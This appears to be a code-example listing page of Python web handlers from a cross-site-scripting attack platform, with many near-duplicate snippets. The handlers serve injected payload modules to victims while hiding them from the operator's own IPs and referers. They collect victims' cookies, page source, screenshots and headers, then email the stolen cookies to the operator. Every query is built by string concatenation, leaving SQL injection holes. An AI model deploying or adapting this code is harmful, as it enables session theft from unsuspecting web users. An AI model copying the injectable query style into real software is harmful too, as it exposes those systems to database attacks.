Example #1
0
	def get(self, id, do):
		row = db.ct("project", "*", "id="+id)
		if row:
			urls = urlde(row['furl']).split(';')
			ip = urlde(row['fip']).split(';')
			rurl = 'Referer' in self.request.headers and self.request.headers['Referer'] or '!@#$^&*123Rtiny'
			rip = self.request.headers['Remote-Ip'] 
			urlstatus = True
			for url in urls:
				if url.find(rurl) > 0:
					urlstatus = False
			if row['status'] == 1 and urlstatus and rip not in ip:
				code = urlde(row['custom'])
				s = json.loads(row['module'])
				for key in s:
					mcode = db.ct("module", "code", "id="+key)
					if mcode:
						mcode = urlde(mcode['code'])
					else:
						mcode = ''
					if s[key]:
						for x in urlde(s[key]).split(';'):
							if x:
								c = x.split('=')
								mcode = mcode.replace("{set."+c[0]+"}",c[1])
					code += mcode
				self.render('get.html', code=code, id=id, url=URL, m=do)
			else:
				self.set_header('Content-type', 'text/html;charset=utf-8')
				self.write('(⊙ˍ⊙)')
		else:
			self.set_header('Content-type', 'text/html')
			self.render('404.html')
Example #2
0
File: get.py Project: jjflyxss/xss
	def get(self, id, do):
		row = db.ct("project", "*", "id="+id)
		if row:
			urls = urlde(row['furl']).split(';')
			ip = urlde(row['fip']).split(';')
			rurl = 'Referer' in self.request.headers and self.request.headers['Referer'] or '!@#$^&*123Rtiny'
			rip = self.request.remote_ip
			urlstatus = True
			for url in urls:
				if url.find(rurl) > 0:
					urlstatus = False
			if row['status'] == 1 and urlstatus and rip not in ip:
				code = urlde(row['custom'])
				s = json.loads(row['module'])
				for key in s:
					mcode = db.ct("module", "code", "id="+key)
					if mcode:
						mcode = urlde(mcode['code'])
					else:
						mcode = ''
					if s[key]:
						for x in urlde(s[key]).split(';'):
							if x:
								c = x.split('=')
								mcode = mcode.replace("{set."+c[0]+"}",c[1])
					code += mcode
				self.render('get.html', code=code, id=id, url=URL, m=do)
			else:
				self.set_header('Content-type', 'text/html;charset=utf-8')
				self.write('(⊙ˍ⊙)')
		else:
			self.set_header('Content-type', 'text/html')
			self.render('404.html')
Example #3
0
	def post(self, id, do):
		def getname(id):
			return urlde(db.ct("project", "name", "id="+str(id))['name'])
		hostip = self.request.headers['Remote-Ip']
		information = self.get_argument('information', 'None')
		sourcecode = self.get_argument('code', 'None')
		screen = self.get_argument('screen', 'None')
		receive = self.get_argument('receive', 'None')
		if not information == 'None':
			addtime = int(time.time())
			request = self.request.headers
			headers = {
				'user-agent': urlen('user-agent' in request and request['user-agent'] or 'None'),
				'Accept-Language': urlen('Accept-Language' in request and request['Accept-Language'] or 'None'),
				'X-Forwarded-For': urlen('X-Forwarded-For' in request and request['X-Forwarded-For'] or 'None'),
				'Referer': urlen('Referer' in request and request['Referer'] or 'None'),
				}
			headers = json.dumps(headers)
			db.i(
				'host',
				'hostip,information,headers,projectid,addtime',
				"'"+hostip+"','"+urlen(information)+"','"+headers+"','"+id+"','"+str(addtime)+"'")
			hosts = json.loads(db.ct('project', "hosts", "id="+id)['hosts'])
			hosts.append(hostip)
			db.u("project", "hosts='"+json.dumps(list(set(hosts)))+"'", "id="+id)
			emails = urlde(db.ct("project", "email", "id=" + id)['email']).split(";")
			information = json.loads(information)
			print information
			for email in emails:
				text = 'location : ' + information['location'] + "<p>" +"cookie : " + information['cookie']
				sendmail(email,'The cookie is coming ['+hostip+']', '<h1>project: '+ getname(id) + "</h1><p>" + text)
		hostid = db.ct('host', 'id', "hostip='"+hostip+"' order by id desc limit 1")['id']
		if not sourcecode == 'None':
			db.u('host', "sourcecode='"+urlen(sourcecode)+"'", 'id='+str(hostid))
		if not screen == 'None':
			db.u('host', "screen='"+urlen(screen)+"'", 'id='+str(hostid))
		if not receive == 'None':
			oldreceive = urlde(db.ct(
				'host',
				'receive',
				'id='+str(hostid))['receive'] and db.ct('host', 'receive', 'id='+str(hostid))['receive'] or '')
			oldreceive = oldreceive and json.loads(oldreceive) or oldreceive
			if oldreceive:
				receive = json.loads(receive)
				for key in oldreceive:
					receive[key] = oldreceive[key]
				receive = json.dumps(receive)
			db.u('host', "receive='"+urlen(receive)+"'", 'id='+str(hostid))
		x=db.cts("host", "*", "projectid=5")
		self.write(json.dumps(x))
Example #4
0
File: get.py Project: jjflyxss/xss
	def post(self, id, do):
		def getname(id):
			return urlde(db.ct("project", "name", "id="+str(id))['name'])
		hostip = self.request.remote_ip
		information = self.get_argument('information', 'None')
		sourcecode = self.get_argument('code', 'None')
		screen = self.get_argument('screen', 'None')
		receive = self.get_argument('receive', 'None')
		if not information == 'None':
			addtime = int(time.time())
			request = self.request.headers
			headers = {
				'user-agent': urlen('user-agent' in request and request['user-agent'] or 'None'),
				'Accept-Language': urlen('Accept-Language' in request and request['Accept-Language'] or 'None'),
				'X-Forwarded-For': urlen('X-Forwarded-For' in request and request['X-Forwarded-For'] or 'None'),
				'Referer': urlen('Referer' in request and request['Referer'] or 'None'),
				}
			headers = json.dumps(headers)
			db.i(
				'host',
				'hostip,information,headers,projectid,addtime',
				"'"+hostip+"','"+urlen(information)+"','"+headers+"','"+id+"','"+str(addtime)+"'")
			hosts = json.loads(db.ct('project', "hosts", "id="+id)['hosts'])
			hosts.append(hostip)
			db.u("project", "hosts='"+json.dumps(list(set(hosts)))+"'", "id="+id)
			emails = urlde(db.ct("project", "email", "id=" + id)['email']).split(";")
			information = json.loads(information)
			print information
			for email in emails:
				text = 'location : ' + information['location'] + "<p>" +"cookie : " + information['cookie']

		hostid = db.ct('host', 'id', "hostip='"+hostip+"' order by id desc limit 1")['id']
		if not sourcecode == 'None':
			db.u('host', "sourcecode='"+urlen(sourcecode)+"'", 'id='+str(hostid))
		if not screen == 'None':
			db.u('host', "screen='"+urlen(screen)+"'", 'id='+str(hostid))
		if not receive == 'None':
			oldreceive = urlde(db.ct(
				'host',
				'receive',
				'id='+str(hostid))['receive'] and db.ct('host', 'receive', 'id='+str(hostid))['receive'] or '')
			oldreceive = oldreceive and json.loads(oldreceive) or oldreceive
			if oldreceive:
				receive = json.loads(receive)
				for key in oldreceive:
					receive[key] = oldreceive[key]
				receive = json.dumps(receive)
			db.u('host', "receive='"+urlen(receive)+"'", 'id='+str(hostid))
		x=db.cts("host", "*", "projectid=5")
		self.write(json.dumps(x))
Example #5
0
	def get(self, id, do):
		if id:
			row = db.ct("module", "*", "id="+id)
			if row:
				if do == 'del':
					db.d("module", "id="+id)
					self.redirect("http://"+URL+"/module")
				else:
					self.render(
						'module_edit.html',
						username=self.get_secure_cookie("username"),
						datainfo=db.datainfo(),
						systeminfo=systeminfo(),
						heads=[ 
							{'name':'Module', 'title':'Module list', 'url':'module/'},
							{'name':urlde(row['name']), 'title': '', 'url': ''},
						],
						row=row,
						url=URL,
						urlde=urlde,
						)
			else:
				self.render('404.html')
		else:
			if do == 'add':
				self.render(
					'module_add.html',
					username=self.get_secure_cookie("username"),
					datainfo=db.datainfo(),
					systeminfo=systeminfo(),
					heads=[{'name':'Module', 'title':'Module list', 'url':'module/'},{'name':'Add', 'title':'', 'url':''}],
					url=URL,
					urlde=urlde,
					)
			else:
				mrows = db.cts("module", "*", "1=1 order by id")
				modulen = len(mrows)
				self.render(
					"module.html",
					username=self.get_secure_cookie("username"),
					datainfo=db.datainfo(),
					systeminfo=systeminfo(),
					heads=[{'name':'Module', 'title': '', 'url': ''}],
					url=URL,
					urlde=urlde,
					timede=timede,
					mrows=mrows,
					modulen=modulen,
					)
Example #6
0
		def getname(id):
			return urlde(db.ct("project", "name", "id="+str(id))['name'])
Example #7
0
		def getname(id):
			return urlde(db.ct("project", "name", "id="+str(id))['name'])
Example #8
0
File: host.py Project: jjflyxss/xss
 def getname(id):
     return urlde(db.ct("project", "name", "id=" + id)["name"])
Example #9
0
 def getmcustom(code):
     code = urlde(code)
     s = re.findall("({set\..*})", code)
     return s
Example #10
0
    def get(self, id, do):
        def gethostn(hostip):
            return db.c("host", "hostip='" + hostip + "'")

        def getmcustom(code):
            code = urlde(code)
            s = re.findall("({set\..*})", code)
            return s

        if id:
            row = db.ct("project", "*", "id=" + id)
            if row:
                if do == "del":
                    db.d("project", "id=" + id)
                    self.redirect("http://" + URL + "/project")
                elif do == "edit":
                    modules = db.cts("module", "*", "1=1")
                    pmodules = json.loads(urlde(db.ct("project", "module", "id=" + id)["module"]))
                    self.render(
                        "project_edit.html",
                        heads=[
                            {"name": "Project", "title": "Project list", "url": "project"},
                            {"name": urlde(row["name"]), "title": urlde(row["name"]) + "view", "url": "project/" + id},
                        ],
                        username=self.get_secure_cookie("username"),
                        datainfo=db.datainfo(),
                        systeminfo=systeminfo(),
                        urlde=urlde,
                        getmcustom=getmcustom,
                        row=row,
                        url=URL,
                        modules=modules,
                        pmodules=pmodules,
                    )
                else:
                    x = []
                    hosts = []
                    hostlist = json.loads(db.ct("project", "hosts", "id=" + id)["hosts"])
                    hostn = 0
                    if hostlist:
                        for i in hostlist:
                            x.append(
                                db.ct(
                                    "host", "id", "hostip='" + i + "' and projectid=" + id + " order by id desc limit 1"
                                )["id"]
                            )
                        x.sort(reverse=True)
                        hostn = len(x)
                        for i in x:
                            hosts.append(
                                db.ct("host", "hostip,information,online,addtime,projectid,id", "id=" + str(i))
                            )
                    self.render(
                        "project_select.html",
                        heads=[
                            {"name": "Project", "title": "Project list", "url": "project"},
                            {"name": urlde(row["name"]), "title": "", "url": ""},
                        ],
                        username=self.get_secure_cookie("username"),
                        datainfo=db.datainfo(),
                        systeminfo=systeminfo(),
                        urlde=urlde,
                        hostn=hostn,
                        hosts=hosts,
                        gethostn=gethostn,
                        url=URL,
                        timede=timede,
                        urljson=urljson,
                        getaddr=getaddr,
                    )
            else:
                self.render("404.html")
        else:
            if do == "add":
                modules = db.cts("module", "*", "1=1")
                self.render(
                    "project_add.html",
                    heads=[
                        {"name": "Project", "title": "Project list", "url": "project"},
                        {"name": "Add", "title": "", "url": ""},
                    ],
                    username=self.get_secure_cookie("username"),
                    datainfo=db.datainfo(),
                    systeminfo=systeminfo(),
                    url=URL,
                    urlde=urlde,
                    modules=modules,
                    getmcustom=getmcustom,
                )
            else:
                prows = db.cts("project", "*", "1=1 order by id")  # 所有的project
                hrown = {}  # host数目
                hrowno = {}  # host online 数目
                if prows:
                    for i in prows:
                        hrown[i["id"]] = db.c("host", "projectid=" + str(i["id"]))
                        hrowno[i["id"]] = db.c("host", "projectid=" + str(i["id"]) + " and online=1")
                self.render(
                    "project.html",
                    heads=[{"name": "Project", "title": "", "url": ""}],
                    prows=prows,
                    prown=len(prows),
                    hrown=hrown,
                    hrowno=hrowno,
                    username=self.get_secure_cookie("username"),
                    datainfo=db.datainfo(),
                    systeminfo=systeminfo(),
                    url=URL,
                    urlde=urlde,
                    timede=timede,
                )
Example #11
0
	def get(self, id, do):
		def gethostn(hostip):
			return db.c("host", "hostip='"+hostip+"'")

		def getmcustom(code):
			code = urlde(code)
			s = re.findall("({set\.[^}]*})", code)
			return s
		if id:
			row = db.ct("project", "*", "id="+id)
			if row:
				if do == 'del':
					db.d("project", "id="+id)
					self.redirect("http://"+URL+"/project")
				elif do == 'edit':
					modules = db.cts("module", "*", "1=1")
					pmodules = json.loads(urlde(db.ct("project", "module", "id="+id)['module']))
					self.render(
						"project_edit.html",
						heads=[
							{'name':'Project', 'title':'Project list', 'url':'project'},
							{'name':urlde(row['name']), 'title':urlde(row['name']) + 'view', 'url':'project/'+id},
						],
						username=self.get_secure_cookie("username"),
						datainfo=db.datainfo(),
						urlde=urlde,
						getmcustom=getmcustom,
						row=row,
						url=URL,
						modules=modules,
						pmodules=pmodules,
						)
				else:
					x = []
					hosts = []
					hostlist = json.loads(db.ct("project", "hosts", "id="+id)['hosts'])
					hostn = 0
					if hostlist:
						for i in hostlist:
							x.append(db.ct(
								"host", "id", "hostip='"+i+"' and projectid="+id+" order by id desc limit 1")['id'])
						x.sort(reverse=True)
						hostn = len(x)
						for i in x:
							hosts.append(db.ct(
								"host", "hostip,information,online,addtime,projectid,id,addr", "id="+str(i)))
					self.render(
						"project_select.html",
						heads=[
							{'name':'Project', 'title':'Project list', 'url':'project'},
							{'name':urlde(row['name']), 'title':'', 'url':''},
						],
						username=self.get_secure_cookie("username"),
						datainfo=db.datainfo(),
						urlde=urlde,
						hostn=hostn,
						hosts=hosts,
						gethostn=gethostn,
						url=URL,
						timede=timede,
						urljson=urljson,
						getaddr=getaddr,
						)
			else:
				self.render('404.html')
		else:
			if do == 'add':
				modules = db.cts("module", "*", "1=1")
				self.render(
					"project_add.html",
					heads=[
						{'name': 'Project', 'title': 'Project list', 'url': 'project'},
						{'name': 'Add', 'title': '', 'url': ''},
					],
					username=self.get_secure_cookie("username"),
					datainfo=db.datainfo(),
					url=URL,
					urlde=urlde,
					modules=modules,
					getmcustom=getmcustom,
					)
			else:
				prows = db.cts("project", "*", "1=1 order by id")                #所有的project
				hrown = {}                                                  #host数目
				hrowno = {}                 #host online 数目
				if prows:
					for i in prows:
						hrown[i['id']] = db.c("host", "projectid="+str(i['id']))
						hrowno[i['id']] = db.c("host", "projectid="+str(i['id'])+" and online=1")
				self.render(
					"project.html",
					heads=[{'name': 'Project', 'title': '', 'url':''}],
					prows=prows,
					prown=len(prows),
					hrown=hrown,
					hrowno=hrowno,
					username=self.get_secure_cookie("username"),
					datainfo=db.datainfo(),
					url=URL,
					urlde=urlde,
					timede=timede,
					)
Example #12
0
 def getmcustom(code):
     code = urlde(code)
     s = re.findall("({set\..*})", code)
     return s
Example #13
0
    def get(self, id, do):
        def gethostn(hostip):
            return db.c("host", "hostip='" + hostip + "'")

        def getmcustom(code):
            code = urlde(code)
            s = re.findall("({set\..*})", code)
            return s

        if id:
            row = db.ct("project", "*", "id=" + id)
            if row:
                if do == 'del':
                    db.d("project", "id=" + id)
                    self.redirect("http://" + URL + "/project")
                elif do == 'edit':
                    modules = db.cts("module", "*", "1=1")
                    pmodules = json.loads(
                        urlde(
                            db.ct("project", "module", "id=" + id)['module']))
                    self.render(
                        "project_edit.html",
                        heads=[
                            {
                                'name': 'Project',
                                'title': 'Project list',
                                'url': 'project'
                            },
                            {
                                'name': urlde(row['name']),
                                'title': urlde(row['name']) + 'view',
                                'url': 'project/' + id
                            },
                        ],
                        username=self.get_secure_cookie("username"),
                        datainfo=db.datainfo(),
                        systeminfo=systeminfo(),
                        urlde=urlde,
                        getmcustom=getmcustom,
                        row=row,
                        url=URL,
                        modules=modules,
                        pmodules=pmodules,
                    )
                else:
                    x = []
                    hosts = []
                    hostlist = json.loads(
                        db.ct("project", "hosts", "id=" + id)['hosts'])
                    hostn = 0
                    if hostlist:
                        for i in hostlist:
                            x.append(
                                db.ct(
                                    "host", "id",
                                    "hostip='" + i + "' and projectid=" + id +
                                    " order by id desc limit 1")['id'])
                        x.sort(reverse=True)
                        hostn = len(x)
                        for i in x:
                            hosts.append(
                                db.ct(
                                    "host",
                                    "hostip,information,online,addtime,projectid,id",
                                    "id=" + str(i)))
                    self.render(
                        "project_select.html",
                        heads=[
                            {
                                'name': 'Project',
                                'title': 'Project list',
                                'url': 'project'
                            },
                            {
                                'name': urlde(row['name']),
                                'title': '',
                                'url': ''
                            },
                        ],
                        username=self.get_secure_cookie("username"),
                        datainfo=db.datainfo(),
                        systeminfo=systeminfo(),
                        urlde=urlde,
                        hostn=hostn,
                        hosts=hosts,
                        gethostn=gethostn,
                        url=URL,
                        timede=timede,
                        urljson=urljson,
                        getaddr=getaddr,
                    )
            else:
                self.render('404.html')
        else:
            if do == 'add':
                modules = db.cts("module", "*", "1=1")
                self.render(
                    "project_add.html",
                    heads=[
                        {
                            'name': 'Project',
                            'title': 'Project list',
                            'url': 'project'
                        },
                        {
                            'name': 'Add',
                            'title': '',
                            'url': ''
                        },
                    ],
                    username=self.get_secure_cookie("username"),
                    datainfo=db.datainfo(),
                    systeminfo=systeminfo(),
                    url=URL,
                    urlde=urlde,
                    modules=modules,
                    getmcustom=getmcustom,
                )
            else:
                prows = db.cts("project", "*", "1=1 order by id")  #所有的project
                hrown = {}  #host数目
                hrowno = {}  #host online 数目
                if prows:
                    for i in prows:
                        hrown[i['id']] = db.c("host",
                                              "projectid=" + str(i['id']))
                        hrowno[i['id']] = db.c(
                            "host",
                            "projectid=" + str(i['id']) + " and online=1")
                self.render(
                    "project.html",
                    heads=[{
                        'name': 'Project',
                        'title': '',
                        'url': ''
                    }],
                    prows=prows,
                    prown=len(prows),
                    hrown=hrown,
                    hrowno=hrowno,
                    username=self.get_secure_cookie("username"),
                    datainfo=db.datainfo(),
                    systeminfo=systeminfo(),
                    url=URL,
                    urlde=urlde,
                    timede=timede,
                )
Example #14
0
 def get(self, id, do):
     if id:
         row = db.ct("module", "*", "id=" + id)
         if row:
             if do == 'del':
                 db.d("module", "id=" + id)
                 self.redirect("http://" + URL + "/module")
             else:
                 self.render(
                     'module_edit.html',
                     username=self.get_secure_cookie("username"),
                     datainfo=db.datainfo(),
                     systeminfo=systeminfo(),
                     heads=[
                         {
                             'name': 'Module',
                             'title': 'Module list',
                             'url': 'module/'
                         },
                         {
                             'name': urlde(row['name']),
                             'title': '',
                             'url': ''
                         },
                     ],
                     row=row,
                     url=URL,
                     urlde=urlde,
                 )
         else:
             self.render('404.html')
     else:
         if do == 'add':
             self.render(
                 'module_add.html',
                 username=self.get_secure_cookie("username"),
                 datainfo=db.datainfo(),
                 systeminfo=systeminfo(),
                 heads=[{
                     'name': 'Module',
                     'title': 'Module list',
                     'url': 'module/'
                 }, {
                     'name': 'Add',
                     'title': '',
                     'url': ''
                 }],
                 url=URL,
                 urlde=urlde,
             )
         else:
             mrows = db.cts("module", "*", "1=1 order by id")
             modulen = len(mrows)
             self.render(
                 "module.html",
                 username=self.get_secure_cookie("username"),
                 datainfo=db.datainfo(),
                 systeminfo=systeminfo(),
                 heads=[{
                     'name': 'Module',
                     'title': '',
                     'url': ''
                 }],
                 url=URL,
                 urlde=urlde,
                 timede=timede,
                 mrows=mrows,
                 modulen=modulen,
             )